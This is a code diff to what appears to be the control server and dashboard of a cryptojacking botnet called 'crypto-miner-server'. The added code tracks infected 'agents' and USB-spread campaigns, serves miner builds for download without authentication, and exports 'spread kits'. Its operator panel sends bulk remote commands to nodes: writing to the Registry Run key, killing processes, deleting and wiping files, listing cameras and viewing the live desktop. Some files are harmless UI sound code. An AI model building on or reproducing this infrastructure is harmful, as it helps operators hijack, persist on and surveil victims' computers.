rows, err := d.Query(`
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
FROM campaign_hits
GROUP BY campaign
ORDER BY cnt DESC
LIMIT ?`, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var out []CampaignHitSummary
for rows.Next() {
var s CampaignHitSummary
var lastRaw string
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
return nil, err
}
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else {
s.LastHit = lastRaw
}
out = append(out, s)
}
return out, nil
}
// ListPublicBuilds returns builds eligible for unauthenticated download.
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
if allEnabled {
return d.ListBuilds(50)
}
if latestN <= 0 {
latestN = 3
}
seen := map[string]bool{}
var out []*models.BuildRecord
add := func(b *models.BuildRecord) {
if b == nil || seen[b.ID] {
return
}
seen[b.ID] = true
out = append(out, b)
}
// Pinned builds
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
if err == nil {
defer pinnedRows.Close()
for pinnedRows.Next() {
b, err := scanBuild(pinnedRows)
if err == nil {
add(b)
}
}
}
// Operator-marked public
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
if err == nil {
defer publicRows.Close()
for publicRows.Next() {
b, err := scanBuild(publicRows)
if err == nil {
add(b)
}
}
}
// Latest N by created_at
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
if err == nil {
defer latestRows.Close()
for latestRows.Next() {
b, err := scanBuild(latestRows)
if err == nil {
add(b)
}
}
}
if out == nil {
out = []*models.BuildRecord{}
}
return out, nil
}
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
if allEnabled {
_, err := d.GetBuild(id)
return err == nil, err
}
builds, err := d.ListPublicBuilds(false, latestN)
if err != nil {
return false, err
}
for _, b := range builds {
if b.ID == id {
return true, nil
}
}
return false, nil
}
// SetBuildPublic toggles the operator public flag on a build.
func (d *Database) SetBuildPublic(id string, public bool) error {
val := 0
if public {
val = 1
}
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
return nil
}

View File

@@ -0,0 +1,50 @@
package db
import (
"testing"
"time"
"crypto-miner-server/internal/models"
)
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
d := openTestDB(t)
defer d.Close()
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
hits, err := d.ListCampaignHits(10)
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
t.Fatalf("hits=%v err=%v", hits, err)
}
b1 := &models.BuildRecord{
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
}
b2 := &models.BuildRecord{
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
}
_ = d.InsertBuild(b1)
_ = d.InsertBuild(b2)
_ = d.SetBuildPublic("b1", true)
pub, err := d.ListPublicBuilds(false, 1)
if err != nil {
t.Fatal(err)
}
ids := map[string]bool{}
for _, b := range pub {
ids[b.ID] = true
}
if !ids["b1"] || !ids["b2"] {
t.Fatalf("expected public b1 and latest b2, got %v", ids)
}
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
if err != nil || !ok {
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
}
}

View File

@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
`CREATE TABLE IF NOT EXISTS campaign_hits (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign TEXT NOT NULL DEFAULT '',
build_id TEXT NOT NULL DEFAULT '',
source TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
user_agent TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb_spread = excluded.usb_spread,
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
return err
}
@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
if len(files) == 0 {
@@ -393,11 +407,12 @@ func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt int
var pinnedInt, publicInt int
var extraFilesRaw string
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
b.Pinned = pinnedInt == 1
b.Public = publicInt == 1
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
return b, err
}

View File

@@ -37,6 +37,7 @@ type Agent struct {
BuildID string `json:"build_id,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
Campaign string `json:"campaign,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
@@ -159,6 +160,7 @@ type BuildRecord struct {
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
Public bool `json:"public"` // true = listed on unauthenticated public builds API
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`

View File

@@ -264,6 +264,16 @@ func main() {
return configProvider.PublicURL()
})
publicBuildsCfg := func() api.PublicBuildsConfig {
n := cfg.Server.PublicBuildsLatestN
if n <= 0 {
n = 3
}
return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n}
}
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -275,7 +285,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port)
log.Println("Router initialized")

View File

@@ -0,0 +1,2 @@
# Drop your looping ambient track here as ambient.mp3 (MP3 preferred; OGG/WAV also work).
# Enable background music in Settings → Sound & Haptics after adding the file.

Binary file not shown.

View File

@@ -4,10 +4,12 @@ import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
import { SoundProvider } from './context/SoundContext';
import { AmbientMusicProvider } from './context/AmbientMusicContext';
import { VisualEffectsProvider } from './context/VisualEffectsContext';
import { ForgeProvider } from './context/ForgeContext';
import { MatrixRainProvider } from './context/MatrixRainContext';
import SoundBridge from './components/Sound/SoundBridge';
import GlobalMusicPlayer from './components/GlobalMusicPlayer';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
@@ -17,6 +19,7 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
export function PageFallback() {
return (
@@ -32,8 +35,10 @@ function App() {
// No page or component should call new WebSocket() directly — use useWebSocket().
<WebSocketProvider>
<SoundProvider>
<AmbientMusicProvider>
<VisualEffectsProvider>
<SoundBridge />
<GlobalMusicPlayer />
<ForgeProvider>
<MatrixRainProvider>
<SessionGate>
@@ -47,6 +52,8 @@ function App() {
<Route path="/builder" element={<Navigate to="/forge" replace />} />
<Route path="/crucible" element={<CruciblePage />} />
<Route path="/builds" element={<BuildManagerPage />} />
<Route path="/emberwake" element={<EmberwakePage />} />
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
<Route path="/guide" element={<GuidePage />} />
<Route path="/settings" element={<SettingsPage />} />
<Route path="/pathtracer" element={<PathTracerPage />} />
@@ -57,6 +64,7 @@ function App() {
</MatrixRainProvider>
</ForgeProvider>
</VisualEffectsProvider>
</AmbientMusicProvider>
</SoundProvider>
</WebSocketProvider>
);

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
@@ -186,6 +186,11 @@ export const api = {
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
deleteBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
setBuildPublic: (buildId: string, isPublic: boolean) =>
fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
method: 'PUT',
body: JSON.stringify({ public: isPublic }),
}),
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildArtifactUrl: (buildId: string, fileName: string) =>
@@ -297,6 +302,40 @@ export const api = {
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
// Public builds (unauthenticated — used on login page)
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
const res = await fetch(`${API_BASE}/public/builds`);
if (!res.ok) throw new Error(`Public builds ${res.status}`);
return res.json();
},
// Emberwake
getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
putEmberwakeNotes: (content: string) =>
fetchJSON<EmberwakeNotes>('/emberwake/notes', {
method: 'PUT',
body: JSON.stringify({ content }),
}),
listCampaignHits: () =>
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {

View File

@@ -0,0 +1,43 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect, beforeEach } from 'vitest';
import {
AmbientMusicPlayer,
loadBgmEnabled,
loadBgmVolume,
BGM_STORAGE_KEY,
BGM_VOLUME_KEY,
AMBIENT_MUSIC_SRC,
} from './ambientMusic';
describe('ambientMusic prefs', () => {
beforeEach(() => {
localStorage.clear();
});
it('defaults music off and volume ~0.22', () => {
expect(loadBgmEnabled()).toBe(false);
expect(loadBgmVolume()).toBeCloseTo(0.22);
});
it('persists enabled flag', () => {
const p = new AmbientMusicPlayer();
p.setEnabled(true);
expect(localStorage.getItem(BGM_STORAGE_KEY)).toBe('1');
expect(loadBgmEnabled()).toBe(true);
});
it('clamps volume', () => {
const p = new AmbientMusicPlayer();
p.setVolume(3);
expect(p.getVolume()).toBe(1);
p.setVolume(-2);
expect(p.getVolume()).toBe(0);
expect(localStorage.getItem(BGM_VOLUME_KEY)).toBe('0');
});
it('points at public audio path', () => {
expect(AMBIENT_MUSIC_SRC).toBe('/audio/ambient.mp3');
});
});

View File

@@ -0,0 +1,152 @@
/**
* Looping background music — drop your MP3 at public/audio/ambient.mp3
* (MP3 preferred; OGG/WAV also work if you update AMBIENT_MUSIC_SRC).
*/
export const BGM_STORAGE_KEY = 'aetherforge-bgm';
export const BGM_VOLUME_KEY = 'aetherforge-bgm-volume';
/** Served from Vite public/ — place ambient.mp3 here before enabling in Settings. */
export const AMBIENT_MUSIC_SRC = '/audio/ambient.mp3';
export function loadBgmEnabled(): boolean {
try {
const v = localStorage.getItem(BGM_STORAGE_KEY);
return v === '1';
} catch {
return false;
}
}
export function loadBgmVolume(): number {
try {
const v = localStorage.getItem(BGM_VOLUME_KEY);
if (v === null) return 0.22;
const n = parseFloat(v);
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.22;
} catch {
return 0.22;
}
}
function persistBgmEnabled(enabled: boolean) {
try {
localStorage.setItem(BGM_STORAGE_KEY, enabled ? '1' : '0');
} catch {
/* ignore */
}
}
function persistBgmVolume(volume: number) {
try {
localStorage.setItem(BGM_VOLUME_KEY, String(volume));
} catch {
/* ignore */
}
}
export class AmbientMusicPlayer {
private audio: HTMLAudioElement | null = null;
private enabled = loadBgmEnabled();
private volume = loadBgmVolume();
private unlocked = false;
private playing = false;
private listeners = new Set<(playing: boolean) => void>();
isEnabled() {
return this.enabled;
}
isPlaying() {
return this.playing;
}
getVolume() {
return this.volume;
}
subscribe(fn: (playing: boolean) => void) {
this.listeners.add(fn);
return () => { this.listeners.delete(fn); };
}
private setPlaying(v: boolean) {
if (this.playing === v) return;
this.playing = v;
for (const fn of this.listeners) fn(v);
}
setEnabled(enabled: boolean) {
this.enabled = enabled;
persistBgmEnabled(enabled);
if (enabled) {
this.ensureAudio();
void this.tryPlay();
} else {
this.pause();
}
}
setVolume(volume: number) {
this.volume = Math.min(1, Math.max(0, volume));
persistBgmVolume(this.volume);
if (this.audio) this.audio.volume = this.volume;
}
/** Browsers block autoplay until a user gesture unlocks audio. */
unlock() {
if (this.unlocked) return;
this.unlocked = true;
this.ensureAudio();
if (this.enabled) void this.tryPlay();
}
togglePlay() {
if (this.playing) {
this.pause();
return false;
}
if (!this.enabled) {
this.setEnabled(true);
}
void this.tryPlay();
return true;
}
private ensureAudio() {
if (this.audio || typeof document === 'undefined') return;
const el = new Audio(AMBIENT_MUSIC_SRC);
el.loop = true;
el.preload = 'auto';
el.volume = this.volume;
el.addEventListener('play', () => this.setPlaying(true));
el.addEventListener('pause', () => this.setPlaying(false));
el.addEventListener('ended', () => this.setPlaying(false));
el.addEventListener('error', () => {
this.setPlaying(false);
});
this.audio = el;
}
private pause() {
if (!this.audio) return;
this.audio.pause();
this.setPlaying(false);
}
async tryPlay(): Promise<boolean> {
if (!this.enabled) return false;
this.ensureAudio();
if (!this.audio) return false;
this.audio.volume = this.volume;
try {
await this.audio.play();
this.setPlaying(true);
return true;
} catch {
this.setPlaying(false);
/* Autoplay policy — wait for Settings toggle or first click */
return false;
}
}
}
export const ambientMusicPlayer = new AmbientMusicPlayer();

View File

@@ -0,0 +1,48 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect, beforeEach } from 'vitest';
import {
HoverSfxEngine,
loadHoverEnabled,
loadHoverVolume,
HOVER_SFX_STORAGE_KEY,
HOVER_SFX_VOLUME_KEY,
} from './hoverSfx';
describe('hoverSfx prefs', () => {
beforeEach(() => {
localStorage.clear();
});
it('defaults hover on and volume ~0.25', () => {
expect(loadHoverEnabled()).toBe(true);
expect(loadHoverVolume()).toBeCloseTo(0.25);
});
it('persists enabled flag', () => {
const e = new HoverSfxEngine();
e.setEnabled(false);
expect(localStorage.getItem(HOVER_SFX_STORAGE_KEY)).toBe('0');
expect(loadHoverEnabled()).toBe(false);
});
it('clamps volume', () => {
const e = new HoverSfxEngine();
e.setVolume(2);
expect(e.getVolume()).toBe(1);
e.setVolume(-1);
expect(e.getVolume()).toBe(0);
expect(localStorage.getItem(HOVER_SFX_VOLUME_KEY)).toBe('0');
});
it('debounces rapid play calls', () => {
const e = new HoverSfxEngine();
e.setDebounceMs(200);
e.setEnabled(true);
expect(() => {
e.play(true);
e.play(true);
}).not.toThrow();
});
});

View File

@@ -0,0 +1,194 @@
/** Short dubstep/techno hover blips — Web Audio, no asset files. */
export const HOVER_SFX_STORAGE_KEY = 'aetherforge-hover-sfx';
export const HOVER_SFX_VOLUME_KEY = 'aetherforge-hover-volume';
export function loadHoverEnabled(): boolean {
try {
const v = localStorage.getItem(HOVER_SFX_STORAGE_KEY);
return v === null ? true : v === '1';
} catch {
return true;
}
}
export function loadHoverVolume(): number {
try {
const v = localStorage.getItem(HOVER_SFX_VOLUME_KEY);
if (v === null) return 0.25;
const n = parseFloat(v);
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.25;
} catch {
return 0.25;
}
}
function persistHoverEnabled(enabled: boolean) {
try {
localStorage.setItem(HOVER_SFX_STORAGE_KEY, enabled ? '1' : '0');
} catch {
/* ignore */
}
}
function persistHoverVolume(volume: number) {
try {
localStorage.setItem(HOVER_SFX_VOLUME_KEY, String(volume));
} catch {
/* ignore */
}
}
type HoverVariant = 'wub' | 'blip' | 'stab';
export class HoverSfxEngine {
private ctx: AudioContext | null = null;
private enabled = loadHoverEnabled();
private volume = loadHoverVolume();
private unlocked = false;
private lastPlayAt = 0;
private debounceMs = 140;
isEnabled() {
return this.enabled;
}
getVolume() {
return this.volume;
}
setEnabled(enabled: boolean) {
this.enabled = enabled;
persistHoverEnabled(enabled);
}
setVolume(volume: number) {
this.volume = Math.min(1, Math.max(0, volume));
persistHoverVolume(this.volume);
}
setDebounceMs(ms: number) {
this.debounceMs = Math.max(80, ms);
}
unlock() {
if (this.unlocked) return;
try {
const Ctx =
typeof window !== 'undefined'
? window.AudioContext ||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
: undefined;
if (!Ctx) return;
if (!this.ctx) this.ctx = new Ctx();
if (this.ctx.state === 'suspended') void this.ctx.resume();
this.unlocked = true;
} catch {
/* ignore */
}
}
/** Respects main SFX mute via `sfxEnabled` from caller. */
play(sfxEnabled = true) {
if (!sfxEnabled || !this.enabled) return;
const now = Date.now();
if (now - this.lastPlayAt < this.debounceMs) return;
this.lastPlayAt = now;
this.unlock();
try {
const Ctx = window.AudioContext ||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
if (!Ctx) return;
if (!this.ctx) this.ctx = new Ctx();
const ctx = this.ctx;
if (ctx.state === 'suspended') void ctx.resume();
const variant = pickVariant();
this.scheduleVariant(ctx, variant);
} catch {
/* Audio blocked */
}
}
preview(sfxEnabled = true) {
this.lastPlayAt = 0;
this.play(sfxEnabled);
}
private scheduleVariant(ctx: AudioContext, variant: HoverVariant) {
const master = ctx.createGain();
master.gain.value = this.volume;
master.connect(ctx.destination);
const t0 = ctx.currentTime;
switch (variant) {
case 'wub':
this.scheduleWub(ctx, master, t0);
break;
case 'blip':
this.scheduleBlip(ctx, master, t0);
break;
case 'stab':
this.scheduleStab(ctx, master, t0);
break;
}
}
private scheduleWub(ctx: AudioContext, dest: GainNode, t0: number) {
const osc = ctx.createOscillator();
const g = ctx.createGain();
const filter = ctx.createBiquadFilter();
filter.type = 'lowpass';
filter.frequency.setValueAtTime(420, t0);
filter.frequency.exponentialRampToValueAtTime(90, t0 + 0.1);
osc.type = 'sawtooth';
osc.frequency.setValueAtTime(95, t0);
osc.frequency.exponentialRampToValueAtTime(42, t0 + 0.09);
g.gain.setValueAtTime(0.0001, t0);
g.gain.exponentialRampToValueAtTime(0.09, t0 + 0.012);
g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.11);
osc.connect(filter);
filter.connect(g);
g.connect(dest);
osc.start(t0);
osc.stop(t0 + 0.13);
}
private scheduleBlip(ctx: AudioContext, dest: GainNode, t0: number) {
const freq = 280 + Math.random() * 180;
const osc = ctx.createOscillator();
const g = ctx.createGain();
osc.type = 'square';
osc.frequency.setValueAtTime(freq, t0);
osc.frequency.exponentialRampToValueAtTime(freq * 1.4, t0 + 0.04);
g.gain.setValueAtTime(0.0001, t0);
g.gain.exponentialRampToValueAtTime(0.05, t0 + 0.006);
g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.055);
osc.connect(g);
g.connect(dest);
osc.start(t0);
osc.stop(t0 + 0.07);
}
private scheduleStab(ctx: AudioContext, dest: GainNode, t0: number) {
const osc = ctx.createOscillator();
const g = ctx.createGain();
osc.type = 'triangle';
osc.frequency.setValueAtTime(62, t0);
osc.frequency.setValueAtTime(48, t0 + 0.03);
g.gain.setValueAtTime(0.0001, t0);
g.gain.exponentialRampToValueAtTime(0.07, t0 + 0.01);
g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.08);
osc.connect(g);
g.connect(dest);
osc.start(t0);
osc.stop(t0 + 0.1);
}
}
function pickVariant(): HoverVariant {
const r = Math.random();
if (r < 0.45) return 'wub';
if (r < 0.8) return 'blip';
return 'stab';
}
export const hoverSfxEngine = new HoverSfxEngine();

View File

@@ -136,6 +136,8 @@ export default function AgentListItem({
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
<span>v{agent.version || '?'}</span>
{agent.build_id && <span className="mono" title="Forge build">build:{agent.build_id.slice(0, 8)}</span>}
{agent.campaign && <span className="agent-tag-chip" title="Spread campaign">c:{agent.campaign}</span>}
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />

View File

@@ -0,0 +1,575 @@
import { useState, useEffect, useRef, useCallback, type ReactNode } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
import {
isWindowsPlatform,
onlineAgents,
parseCameraListMessage,
selectionAggressiveHint,
selectionCanRunAggressive,
} from '../../help/crucibleOps';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
interface Props {
selectedAgents: Agent[];
selectedCount: number;
singleSelectedAgent: Agent | null;
commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
onEcho: (text: string, isCmd?: boolean) => void;
onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
}
function CollapsibleGroup({
label,
className,
defaultOpen = true,
children,
}: {
label: string;
className: string;
defaultOpen?: boolean;
children: ReactNode;
}) {
const [open, setOpen] = useState(defaultOpen);
return (
<div className={`crucible-op-group ${className} crucible-op-collapsible`}>
<button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
<span className="cop-label">{label}</span>
<span className="cop-chevron">{open ? '▲' : '▼'}</span>
</button>
{open && <div className="cop-body">{children}</div>}
</div>
);
}
export default function CrucibleExpandedOps({
selectedAgents,
selectedCount,
singleSelectedAgent,
commandResults,
onEcho,
onAgentError,
}: Props) {
const targets = onlineAgents(selectedAgents);
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
const hasSelection = selectedCount > 0;
const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState('');
const [liveDesktop, setLiveDesktop] = useState(false);
const liveDesktopRef = useRef(false);
liveDesktopRef.current = liveDesktop;
const [wolMac, setWolMac] = useState('');
const [registryOpen, setRegistryOpen] = useState(false);
const [regHive, setRegHive] = useState('HKCU');
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
const [regName, setRegName] = useState('');
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [cameras, setCameras] = useState<string[]>([]);
const [selectedCamera, setSelectedCamera] = useState('');
const [killPid, setKillPid] = useState('');
const [deletePath, setDeletePath] = useState('');
const [moveSrc, setMoveSrc] = useState('');
const [moveDst, setMoveDst] = useState('');
const [wipePath, setWipePath] = useState('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
useEffect(() => {
if (singleSelectedAgent?.mac_address && !wolMac) {
setWolMac(singleSelectedAgent.mac_address);
}
}, [singleSelectedAgent?.mac_address, wolMac]);
const dispatchOne = useCallback(
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
try {
const res = await api.sendAgentCommand(agent.id, action, args);
if (res.success === false) {
onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
}
} catch (err) {
onAgentError(agent.id, agent.name, action, err);
}
},
[onAgentError]
);
const bulkDispatch = useCallback(
(action: string, args: Record<string, unknown> = {}, tgts = targets) => {
if (tgts.length === 0) return;
for (const a of tgts) {
void dispatchOne(a, action, args);
}
onEcho(`${action}${tgts.length} node(s)`, true);
},
[dispatchOne, onEcho, targets]
);
const aggDisabled = (action: AggressiveRemoteAction) =>
!hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
